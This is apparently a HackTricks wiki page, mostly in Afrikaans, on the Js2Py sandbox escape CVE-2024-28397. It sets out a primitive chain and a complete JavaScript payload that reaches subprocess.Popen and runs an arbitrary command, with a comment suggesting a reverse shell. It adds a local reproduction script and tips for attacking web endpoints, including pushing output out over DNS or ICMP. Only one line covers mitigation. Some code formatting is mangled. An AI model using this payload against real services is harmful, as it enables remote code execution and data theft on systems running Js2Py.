Js2Py sandbox escape (CVE-2024-28397)

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Js2Py vertaal JavaScript na Python-objekte, so selfs wanneer js2py.disable_pyimport() gebruik word, kan onbetroubare JS deur Python-internals beweeg om gevaarlike klasse soos subprocess.Popen te bereik. Weergawe 20.74 laat toe om Python-reflection primitives te misbruik wat Js2Py aan JS-objekte blootstel om RCE te kry van andersins “sandboxed” JavaScript.

Primitive: pivot from JS object wrappers to Python objects

  1. Get a Python-backed object: Object.getOwnPropertyNames({}) returns a dict_keys object in Python space.
  2. Recover attribute access: grab .__getattribute__ from that object and call it to read arbitrary attributes (e.g., "__class__").
  3. Climb to object: from <class 'dict_keys'> read .__base__ to reach Python’s base object.
  4. Enumerate loaded classes: call object.__subclasses__() to walk every class already loaded in the interpreter.
  5. Find subprocess.Popen: recursively search subclasses where __module__ == "subprocess" and __name__ == "Popen".
  6. Execute a command: instantiate Popen with attacker-controlled arguments and invoke .communicate() to capture output.
Voorbeeld payload wat Js2Py misbruik om subprocess.Popen te bereik ```javascript // Replace cmd with desired payload (reverse shell / ping / etc.) let cmd = "id"; let hacked, bymarve, n11; let getattr, obj;

hacked = Object.getOwnPropertyNames({}); // -> dict_keys([]) bymarve = hacked.getattribute; n11 = bymarve(“getattribute”); // attribute access primitive obj = n11(“class”).base; // pivot to <class ‘object’> getattr = obj.getattribute;

function findpopen(o) { let result; for (let i in o.subclasses()) { let item = o.subclasses()[i]; if (item.module == “subprocess” && item.name == “Popen”) { return item; } if (item.name != “type” && (result = findpopen(item))) { return result; } } }

// Popen(cmd, stdin/out/err pipes…) then .communicate() for output n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate(); console.log(n11); n11; // returned to caller if framework sends eval_js result back

</details>

Hoekom dit werk: Js2Py openbaar Python-voorwerphulpe aan JS sonder om `__getattribute__`, `__class__`, `__base__`, of `__subclasses__` te verwyder. `disable_pyimport()` blokkeer slegs eksplisiete `pyimport`, maar die bogenoemde ketting voer nooit iets nuuts in nie; dit hergebruik reeds gelaaide modules en klasse in geheue.

## Reproduksie van die ketting plaaslik
```bash
# Js2Py 0.74 breaks on Python 3.12/3.13; pin 3.11 for testing
uv run --with js2py==0.74 --python 3.11 python - <<'PY'
import js2py
print(js2py.eval_js("Object.getOwnPropertyNames({})"))                      # dict_keys([])
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__"))    # method-wrapper
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\")"))
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\").__base__"))
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\").__base__.__subclasses__()"))
PY

Werking teen web sandboxes

  • Enige eindpunt wat deur die aanvaller beheerde JS in js2py.eval_js invoer (byvoorbeeld ’n Flask /run_code API) lei onmiddellik tot RCE as die prosesgebruiker shell-toegang het.
  • Om jsonify({'result': result}) terug te gee sal misluk wanneer .communicate() bytes teruggee; decodeer dit of stuur die uitvoer direk na DNS/ICMP om serialiseringsblokkers te vermy.
  • disable_pyimport() verhoed nie hierdie ketting nie; harde isolasie (afsonderlike proses/container) of verwydering van Js2Py se uitvoering van onbetroubare kode is nodig.

Verwysings

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks